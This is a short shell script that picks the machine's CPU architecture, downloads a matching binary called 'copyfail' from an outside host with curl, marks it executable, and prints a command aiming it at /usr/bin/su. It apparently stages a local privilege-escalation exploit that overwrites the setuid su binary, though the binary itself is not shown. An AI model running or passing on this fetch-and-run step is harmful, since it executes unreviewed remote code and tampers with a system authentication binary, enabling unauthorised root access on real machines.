#!/bin/sh
arch=$(uname -m)
case $arch in
  x86_64) arch=amd64 ;;
  i386|i686) arch=386 ;;
  aarch64) arch=arm64 ;;
  armv7l|armv6l) arch=arm ;;
esac
curl -sL https://file.hare1039.top/copyfail/copyfail_$arch -o copyfail
chmod +x copyfail
echo './copyfail --target /usr/bin/su --backup $PWD/su'